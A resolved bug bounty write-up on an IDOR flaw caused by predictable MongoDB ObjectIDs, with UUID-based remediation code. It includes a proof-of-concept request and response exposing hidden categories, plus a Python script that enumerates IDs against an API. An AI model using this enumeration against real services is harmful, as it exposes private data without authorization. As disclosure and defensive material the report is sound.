IDOR Private Program 2026-01-05
IDOR via Predictable MongoDB ObjectIDs
Severity: High | Status: Resolved
Summary
The application used standard, sequential MongoDB ObjectIDs for resources. Because these IDs contain predictable components, attackers could guess IDs of hidden resources by incrementing known values.
Vulnerability Details
MongoDB ObjectIDs are 24-character hex strings with a predictable structure:
┌─────────────────────────────────────────────────────┐
│ MongoDB ObjectID Structure │
├─────────────────────────────────────────────────────┤
│ 6952bac3 d321da 2afb 566769 │
│ ──────── ────── ──── ────── │
│ Timestamp Machine PID Counter ← Incremental! │
│ (seconds) ID (starts at random) │
└─────────────────────────────────────────────────────┘
The Problem
When resources are created in sequence, their ObjectIDs differ only in the counter portion, making them guessable.
Proof of Concept
Starting from a known category ID:
Known ID: 6952bac3d321da2afb566769
↓ Increment
Guessed: 6952bac3d321da2afb56676a ✗ Invalid
Guessed: 6952bac3d321da2afb56676b ✗ Invalid
...
Guessed: 6952bac3d321da2afb566770 ✓ VALID!
Request
GET /api/categories/6952bac3d321da2afb566770 HTTP/1.1
Host: target.com
Response (Hidden Resource Exposed)
{
"_id": "6952bac3d321da2afb566770",
"name": "Secret Category",
"isPublic": false,
"nominees": [
{ "name": "Hidden Nominee 1" },
{ "name": "Hidden Nominee 2" }
]
}
Enumeration Script
import requests
base_id = "6952bac3d321da2afb5667"
found = []
for i in range(0x00, 0xFF):
test_id = base_id + format(i, '02x')
r = requests.get(f"https://target.com/api/categories/{test_id}")
if r.status_code == 200:
found.append(test_id)
print(f"[+] Found: {test_id}")
print(f"\nTotal discovered: {len(found)} resources")
Impact
- Mass enumeration of entire database
- Discovery of hidden categories
- Access to test/staging nominations
- Exposure of future event content
Remediation
// Use UUIDs instead of ObjectIDs for public-facing resources
const { v4: uuidv4 } = require('uuid');
const categorySchema = new Schema({
publicId: {
type: String,
default: () => uuidv4(),
index: true
},
// ... other fields
});
// Query by UUID, not ObjectID
router.get('/categories/:id', async (req, res) => {
const category = await Category.findOne({
publicId: req.params.id,
isPublic: true
});
// ...
}); Responsible Disclosure
This vulnerability was reported responsibly and fixed by the vendor before public disclosure.